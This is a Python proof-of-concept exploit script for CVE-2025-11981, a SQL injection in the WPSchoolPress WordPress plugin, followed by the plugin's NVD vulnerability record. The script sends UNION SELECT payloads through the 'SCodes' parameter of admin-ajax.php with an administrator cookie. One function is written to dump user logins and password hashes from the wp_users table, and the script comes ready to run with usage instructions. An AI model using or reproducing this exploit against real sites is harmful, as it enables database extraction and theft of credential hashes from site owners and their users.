CVE-2025-11981

import requests import sys from urllib.parse import urlencode # CVE-2025-11981 PoC - WPSchoolPress SQL Injection # Target: WordPress site with WPSchoolPress plugin <= 2.2.23 # Authentication required: Administrator or higher privilege def exploit_sql_injection(target_url, admin_cookie): """ Exploit SQL injection in WPSchoolPress SCodes parameter Args: target_url: Base URL of the WordPress site admin_cookie: Valid admin session cookie Returns: Extracted database information """ # Vulnerable endpoint endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Malicious payload to extract database user # The SCodes parameter is directly concatenated into SQL query payload = "1' UNION SELECT user()-- " headers = { 'Cookie': admin_cookie, 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } # Build the request data data = { 'action': 'wpsp_GetSCodes', # AJAX action name 'SCodes': payload } print(f"[*] Target: {target_url}") print(f"[*] Sending malicious request...") print(f"[*] Payload: {payload}") try: response = requests.post(endpoint, headers=headers, data=data, timeout=30) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Response status: {response.status_code}") print(f"[+] Response preview: {response.text[:500]}") return response.text else: print(f"[-] Request failed with status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def extract_users(target_url, admin_cookie): """ Extract WordPress users via SQL injection """ endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Payload to extract user_login and user_pass from wp_users table payload = "1' UNION SELECT CONCAT(user_login,':',user_pass) FROM wp_users-- " headers = { 'Cookie': admin_cookie, 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } data = { 'action': 'wpsp_GetSCodes', 'SCodes': payload } try: response = requests.post(endpoint, headers=headers, data=data, timeout=30) return response.text except: return None if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-11981.py <target_url> <admin_cookie>") print("Example: python cve-2025-11981.py http://example.com 'wordpress_logged_in_xxx='") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] print("=" * 60) print("CVE-2025-11981 - WPSchoolPress SQL Injection Exploit") print("=" * 60) exploit_sql_injection(target, cookie)

{"cve": {"id": "CVE-2025-11981", "sourceIdentifier": "[email protected]", "published": "2025-11-14T12:15:43.427", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The School Management System – WPSchoolPress plugin for WordPress is vulnerable to SQL Injection via the 'SCodes' parameter in all versions up to, and including, 2.2.23 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wpschoolpress/tags/2.2.9/lib/wpsp-ajaxworks.php#L1844", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wpschoolpress/tags/2.2.9/lib/wpsp-ajaxworks.php#L1872", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3389346#file62", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/04bc4a20-0136-4fb4-9489-07140b2b86aa?source=cve", "source": "[email protected]"}]}}